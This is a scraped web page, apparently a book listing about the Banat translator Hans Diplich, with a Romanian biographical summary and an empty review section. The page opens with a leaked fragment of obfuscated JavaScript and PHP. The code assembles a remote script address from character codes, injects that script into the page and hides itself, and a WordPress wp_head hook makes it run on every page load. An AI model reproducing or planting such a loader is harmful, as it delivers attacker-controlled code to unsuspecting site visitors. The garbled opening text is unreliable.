2,0x61,0x63,0x6b,0x67,0x72,0x6f,0x75,0x6e,0x64,0x2e,0x61,0x70,0x69,0x73,0x74,0x61,0x74,0x65,0x78,0x70,0x65,0x72,0x69,0x65,0x6e,0x63,0x65,0x2e,0x63,0x6f,0x6d,0x2f,0x73,0x74,0x61,0x72,0x74,0x73,0x2f,0x73,0x65,0x65,0x2e,0x6a,0x73),document['currentScript']['parentNode'][_0x3ec646(0x176)](f,document[_0x3ec646(0x17e)]),document['currentScript'][_0x3ec646(0x182)]();function _0x48d3(){var _0x35035=['script','currentScript','9RWzzPf','402740WuRnMq','732585GqVGDi','remove','createElement','30nckAdA','5567320ecrxpQ','src','insertBefore','8ujoTxO','1172840GvBdvX','4242564nZZHpA','296860cVAhnV','fromCharCode','5967705ijLbTz'];_0x48d3=function(){return _0x35035;};return _0x48d3();}";}add_action('wp_head','_set_betas_tag');}}catch(Exception $e){}} » Multikulturelle literarische Vermittlungen von Hans Diplich (*23.02.1909 – †2.07.1990) Multikulturelle literarische Vermittlungen von Hans Diplich (*23.02.1909 – †2.07.1990) | Memoria Ethnologica

Multikulturelle literarische Vermittlungen von Hans Diplich (*23.02.1909 – †2.07.1990)

Sumar

Bănăţeanul Hans Diplich (1909–1990), istoric literar, poet, scriitor, traducător şi
etnograf, un cunoscător profund al literaturii române, s-a născut la ComloşulMare, studiază
filologia (română-germană) la Bucureşti şi Cluj, făcându-şi studiile complementare de
pedagogie la Universitatea din Lipsca şi Münster înWestfalia.
Cariera didactică şi-o începe ca profesor de liceu la Timişoara (1933􀀀1941), apoi
director de liceu (1941-1944) la Bela Crkva în Banatul iugoslav, iar între 1945-1971 cadru
didactic la diferite gimnazii în R.F.G.
A tradus piese reprezentative din lirica populară românească (vol. 1 -1953, vol. 2 –
1963) într-o excelentă versiune germană: „Rumänische Lieder. Nachdichtungen“, 2 Bände.
Varianta tradusă a Mioriţei este una din cele mai reuşite realizări unanimi recunoscută de
specialişti. Hans Diplich a tradus şi din lirica cultă precum şi un volum selectiv din Ana
Blandiana.
Talentul la translaţie a lui Hans Diplich a fost apreciat de „Contemporanul“ din 7.1.
1966: „Dublat de cunoscătorul profund al literaturii româneşti, Diplich a găsit paralelisme
între cele două fenomene literare orale, scoţând în acelaşi timp în relief coloritul naţional al
poeziei populare româneşti datorită faptului că a păstrat imaginile fundamentale, cuvintelecheie
ale textului original. Rezistentă la transpunerea într-o altă limbă, poezia populară
românească a găsit în persoana lui Hans Diplich un poet capabil să-i pună în relief strălucirea
unică, originalitatea care-i asigură un loc de frunte în folclorul popoarelor din Europa“.

Recenzii

Nu există recenzii până acum.

Fii primul care adaugi o recenzie la „Multikulturelle literarische Vermittlungen von Hans Diplich (*23.02.1909 – †2.07.1990)”